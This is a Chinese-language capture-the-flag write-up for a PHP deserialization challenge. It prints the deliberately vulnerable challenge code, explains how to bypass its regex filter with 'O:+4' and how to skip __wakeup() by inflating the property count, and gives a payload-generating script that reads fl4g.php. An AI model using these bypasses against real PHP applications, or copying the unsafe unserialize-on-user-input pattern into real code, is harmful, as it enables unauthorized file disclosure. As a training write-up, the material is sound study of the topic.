<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
回到题目中 , 看一看有哪些注意点
-
unserialize() 方法的参数来源于 GET 请求
虽然该请求获取的值经过一系列处理 ,包括一个Base64解码和一个正则过滤 , 但至少能确定该参数值是用户可控的 . 事实上这个正则过滤是可以绕过的 .
-
unserialize() 的
__wakeup()
方法在反序列化时 , PHP 会先执行
__wakeup()
函数 . 本题中__wakeup()
函数的作用为 : 将 $file 变量强制赋值为index.php
, 而题目又提示 flag 在fl4g.php
中 , 因此这又牵扯到一个老问题了 : 如何绕过__wakeup()
函数
然后就可以拿到 Flag 了 , 本题其实也就考了两个点 : 如何绕过正则表达式 以及 如何绕过 __wakeup()
方法 .
绕过正则表达式
preg_match('/[oc]:\d+:/i', $var)
匹配以(o或c:一个或多个数字:)的形式的字符串,i说明不区分大小写
通过O:4: ——> O:+4: 进行绕过
绕过_wakeup()函数
增加对象属性的个数就可以绕过。
构造playload
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$flag = new Demo('fl4g.php');
$flag = serialize($flag);
$flag = str_replace('O:4', 'O:+4',$flag); // 绕过正则
$flag = str_replace(':1:', ':2:' ,$flag); //绕过_wakeup()
$flag=base64_encode($flag);
echo $flag;
?>
拿到flag
注意:
不同属性的对象序列化后字符格式是不一样的
参考:PHP反序列化研究 - 知乎 (zhihu.com)
更多资料参考:Web - Web_php_unserialize - WriteUp - H0t-A1r-B4llo0n (guildhab.top)